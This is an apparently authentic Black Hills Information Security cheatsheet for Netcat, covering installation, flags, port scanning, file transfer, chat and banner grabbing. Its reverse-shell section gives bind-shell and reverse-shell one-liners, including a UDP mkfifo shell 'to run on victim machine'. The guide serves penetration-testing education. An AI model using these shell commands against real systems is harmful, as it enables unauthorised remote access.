Netcat (nc) Cheatsheet  – Black Hills Information Security, Inc.

Written by Rachit Arora || Revised by Dave Blandford 

This blog is part of Offensive Tooling Cheatsheets: An Infosec Survival Guide Resource. You can learn more and find all of the cheatsheets HERE: https://www.blackhillsinfosec.com/offensive-tooling-cheatsheets/

Netcat (nc) Cheatsheet: PRINT-FRIENDLY PDF

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Netcat is a network utility tool that has earned the nickname “The Swiss Army Knife” of networking. It can be used for file transfers, chat/messaging between systems, port scanning, and much more. Netcat operates by reading and writing data across network connections using TCP and UDP. 

How to Install: 

Kali Linux 

Netcat is available in multiple versions. You can choose one depending on your needs: 

Ncat (Nmap’s Netcat reimplementation): 

sudo apt install ncat 

OpenBSD Netcat: 

sudo apt install netcat-openbsd 

Traditional Netcat: 

sudo apt install netcat-traditional 

Arch Linux 

GNU Netcat: 

sudo pacman -S gnu-netcat 

OpenBSD Netcat: 

sudo pacman -S openbsd-netcat 

MacOS 

Install using Homebrew: 

brew install netcat 

Windows 

Your best bet is to use Ncat, which is included with the Nmap suite: 

Ensure the Ncat checkbox is selected when installing Nmap.

Explanation of Flags: 

-z	Zero-I/O mode, used for scanning ports without sending data.
-v	Verbose mode, displays additional details of the connection.
-vv	Very verbose, shows even more detailed information.
-n	Numeric-only IP addresses, no DNS resolution.
-u	Use UDP.
-l	Listen mode, allows Netcat to wait for incoming connections.
-p	Specifies the local port to use for the connection; not just for listening.
-e	Executes the specified program (like /bin/bash) upon connection.
-w	Specifies a timeout in seconds for connections.
-X	Use a proxy (CONNECT, SOCKS4, SOCKS5) to route Netcat traffic. Note: This flag is supported in the OpenBSD version of Netcat (and tools like Ncat from Nmap), but not in the traditional GNU version.
-x	Defines the proxy IP and port for tunneling traffic.  Same note: Available in OpenBSD Netcat and Ncat, not in GNU Netcat-traditional.

1. Basic Connectivity 

Check if a specific port is open or closed: 

nc -zv   

Scan multiple ports on a target: 

nc -zv  20-100 

Scan all ports with a timeout: 

nc -zv -w1  1-65535 

2. Establishing Connections 

Connect to a TCP service: 

nc   

Connect to a UDP service: 

nc -u   

Listen for incoming TCP connections: 

nc -lvp  

Listen for incoming UDP connections: 

nc -ulvp 

3. Sending and Receiving Messages 

Send a message to a Netcat listener: 

echo "Hello, Netcat" | nc   

Receive messages on a listening Netcat server: 

nc -lvp  

4. File Transfer Using Netcat 

Send a file over Netcat (sender): 

cat file.txt | nc   

Receive a file with Netcat (receiver): 

nc -lvp  > received.txt 

5. Netcat as a Chat Server 

Start a simple chat server (listener): 

nc -lvp  

Connect to the chat server (client): 

nc   

When one Netcat instance connects to another, they form a bidirectional pipe. Netcat reads from stdin (your keyboard) and writes to stdout (your screen). This setup allows both users to type and see each other’s messages in real time—effectively creating a minimal chat environment using only the terminal. 

6. Reverse Shells 

Bind a shell for remote access (attacker-controlled listener): 

nc -lvp  -e /bin/bash

Reverse shell (victim-controlled): 

nc   -e /bin/bash 

Reverse shell over UDP —

Attacker-controlled listener:

nc -lu -p  

Command to run on victim machine:

mkfifo fifo && nc -u   < fifo | { echo "shell ready"; bash; } > fifo 

7. Network Scanning and Enumeration 

Grab service banners from open ports: 

nc -v   

For web services (HTTP/HTTPS), type the following after connecting and press Enter twice: 

HEAD / HTTP/1.0 

Manually interact with an FTP server: 

nc  21 

8. Web and Network Testing 

Check if RDP (Remote Desktop Protocol) is open: 

nc -zv  3389 

Check if SMB (Windows File Sharing) is enabled: 

nc -zv  445 

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